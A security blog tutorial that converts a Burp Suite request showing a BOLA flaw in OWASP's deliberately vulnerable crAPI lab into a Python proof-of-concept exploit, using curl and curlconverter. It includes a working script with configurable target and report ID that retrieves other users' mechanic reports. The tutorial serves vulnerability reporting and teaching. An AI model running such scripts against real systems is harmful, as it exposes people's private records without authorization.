At some point in your API hacking journey, you will probably have to write a proof of concept (PoC) API exploit. Your peers in the dev group or someone on the security triage team you are engaging with will want to see how the vulnerability you found can be exploited.
It helps to demonstrate potential impact.
I’ve talked about why writing API exploits is important when reporting vulnerabilities before. I’ve even shown you how to demonstrate vulnerabilities by exploiting APIs using cURL.
Today, I want to show you how to do it using Python.
Why?
Because if you are doing any sort of serious API security testing, you should be doing it in Burp Suite. The developers you interact with are probably NOT even aware of what Burp is. Never mind asking them to look at your .burp file to understand the vuln you found.
Most can run Python code, though. Thanks to the streamlined tooling like VS Code.
So, let me show you how to take a request from Burp’s Repeater or Intruder tool that demonstrates a vulnerability and turn it into a PoC exploit in Python.
This article aims to show how to take an existing vuln you’ve found in Burp Suite and convert it into exploit code in Python. So I won’t take up any time showing you how to find one.
Let’s use one we already know about in OWASP’s Completely Ridiculous API (crAPI). For this example, let’s use a simple broken object level authorization (BOLA) vulnerability found in mechanics API endpoint.
In the API, the report_id
param allows anyone to fetch mechanic reports for ANYONE on the system, not just their own. Here is what it looks like in Burp Suite:
We could have some fun with this and exfiltrate a whole bunch of reports using Intruder.
(No, don’t do this in an actual engagement… you only need a couple of records to come back that should belong in your test tenants)
OK, we can see the vulnerability in Burp Suite using Repeater and Intruder. Let’s do something with it.
From within the Request tab in Intruder (or Repeater), right-click on the request. A dynamic menu will pop up and offer you a menu item to “Copy as curl command (bash)“.
In your clipboard, you will find that request in a properly formatted cURL command. It might look something like this:
curl -i -s -k -X $'GET' -H $'Host: crapi.apisec.ai' -H $'Upgrade-Insecure-Requests: 1' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' -H $'Accept-Encoding: gzip, deflate, br' -H $'Accept-Language: en-US,en;q=0.9' -H $'Connection: keep-alive' $'http://crapi.apisec.ai/workshop/api/mechanic/mechanic_report?report_id=4'
Now, this is a personal preference. Whenever working with curl, I try to eliminate all the non-essential headers and data to successfully demonstrate a request.
You can test this with trial and error by removing individual headers (any of the -H
params with its corresponding data) until the request no longer works.
In this case, after individually removing all the headers, I ended up with the following:
curl -i -s -k -X $'GET' $'http://crapi.apisec.ai/workshop/api/mechanic/mechanic_report?report_id=4'
But we can do better than that.
By default, curl always does a GET. So we can drop the -X
param entirely here. And the $
isn’t necessary here to escape the URL.
Finally, we can drop many of the starting parameters. We don’t need to see the response headers and can drop the -i
. The -s
option means to run silently, which is acceptable to keep, but not necessary. The -k
option isn’t needed here as we aren’t using an insecure HTTPS request. But it could be helpful if you were testing against an API that had a self-signed cert.
So, our final resulting curl command? How about this:
curl -s 'http://crapi.apisec.ai/workshop/api/mechanic/mechanic_report?report_id=4'
Honestly, that’s such a simple request that you don’t really need to write an exploit in Python for it. However, stick with me here, and let’s do it anyway.
With our cleaned-up curl command now complete, let’s convert that into Python code.
You don’t have to do that manually. There is an awesome tool called curlconverter that can do the heavy lifting for you. It’s a command line tool that can transpile curl commands into Python, JavaScript, and 26 other languages.
You can install it locally with the command npm install -g curlconverter
.
To use it, simply replace your curl command with the curlconverter
command, pass in the programming language you want code outputted as, and pass in the rest of the curl commands.
It will look something like this:
curlconverter -s 'http://crapi.apisec.ai/workshop/api/mechanic/mechanic_report?report_id=4'
The output will be Python code by default. That was why I didn’t need to use the --language
argument.
For fun, let’s try exporting the curl command to a few other languages like Rust and C# that we could use as a base for API exploits in other languages.
You can see all the other languages curlconverter supports with curlconverter -h
.
OK. So curlconverter dumps code to the screen. Let’s dump it into a file instead.
curlconverter -s 'http://crapi.apisec.ai/workshop/api/mechanic/mechanic_report?report_id=4' > bola-exploit.py
Simple enough.
As I look at this, the code is way too simple. Just to spice things up, I am going to slightly modify the original curl command with a few extra headers so our API exploits do a bit more work:
curl -s -H 'X-Red-Teamer: Dana' -H 'Fu: Bar' 'http://crapi.apisec.ai/workshop/api/mechanic/mechanic_report?report_id=4'
Let’s look at the code output for that command:
Much better. You can see how curlconverter has scaffolded both the params and headers for use in the Python requests library.
Well, let’s see if this Python code will run. We can simply run it using python bola-exploit.py
OK, that is quite uneventful. While it successfully runs, we aren’t getting any output. That’s because curlconverter constructed the code to make the request but doesn’t actually do anything with it.
We can fix that here by simply dumping the response text. Adding print(response.text)
to the end of the code will do the trick.
It works. But we can do better.
Our first iteration of this Python code is pretty simple. We can clean it up so it’s more usable for our peers.
YMMV on this of course. But at the very least, I like to extract any data that can be in a configurable argument, like target IPs/URLs/paths, etc., that would allow a dev or someone in triage to tailor the API exploits to their own environment.
This could be by setting the variables statically in the file or allowing command line args. I like the latter. Here is some simple scaffolding of what that might look like:
import requests
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('-i', '--id', help='the report id to exfiltrate', default='4')
parser.add_argument('-t', '--target', help='the target server domain name or IP', default='crapi.apisec.ai')
args = parser.parse_args()
target_url = "http://{}/workshop/api/mechanic/mechanic_report".format(args.target)
headers = {
'X-Red-Teamer': 'Dana',
'Fu': 'Bar',
}
params = {
'report_id': args.id,
}
response = requests.get( target_url, params=params, headers=headers )
print( response.text )
TBH, I also like to keep my Python code a bit cleaner by using a main() function and moving things like arg parsing into its own function.
You don’t have to do this. What curlconverter generates is just fine.
This is more of a comfort and preference thing. The final code looks something closer to:
import argparse
import requests
def main():
args = parse_arguments()
target_url = f"http://{args.target}/workshop/api/mechanic/mechanic_report"
headers = {
'X-Red-Teamer': 'Dana',
'Fu': 'Bar',
}
params = {'report_id': args.id}
response = requests.get(target_url, params=params, headers=headers)
print(response.text)
def parse_arguments():
parser = argparse.ArgumentParser(description='Exfiltrate report data from a given server.')
parser.add_argument('-i', '--id', help='The report ID to exfiltrate', default='4')
parser.add_argument('-t', '--target', help='The target server domain name or IP', default='crapi.apisec.ai')
return parser.parse_args()
if __name__ == "__main__":
main()
Let’s test the exploit one more time and make sure the code works, including the help messaging.
Looks good. Now we can prepare it to be sent to peers in engineering or security triage.
Hopefully by now, you know how to use GPG as a security researcher. It’s a good idea to encrypt and sign your exploits before transmitting them outside of your environment.
I usually sign, encrypt, and ASCII armor my exploits. Let’s pretend we will send this exploit to the Microsoft Security Response Center (MSRC). I might use this command:
gpg -sea -r [email protected] -o bola-exploit.py.gpg bola-exploit.py
This way, Microsoft knows the exploit is coming from me, and I know only MSRC can access it.
As you can see, it’s pretty trivial to take requests you’ve built in Burp Suite and convert them into API exploits you can share with others in Python. While the purpose of this article wasn’t to make you an expert exploit developer, it has given you the foundation to quickly move between Burp Suite and Python code, thanks to curlconverter.
If Python isn’t your thing and you prefer to write your exploits in a different language, I encourage you to look at the code output options from curlconverter. It supports so many different languages, including popular ones like Javascript, C#, Go, and PowerShell.
Have fun with it. Hack hard!
Have you joined The API Hacker Inner Circle yet? It’s my FREE weekly newsletter where I share articles like this, along with pro tips, industry insights, and community news that I don’t tend to share publicly. If you haven’t, subscribe at https://apihacker.blog.
The post Writing API exploits in Python appeared first on Dana Epp's Blog.
*** This is a Security Bloggers Network syndicated blog from Dana Epp's Blog authored by Dana Epp. Read the original post at: https://danaepp.com/writing-api-exploits-in-python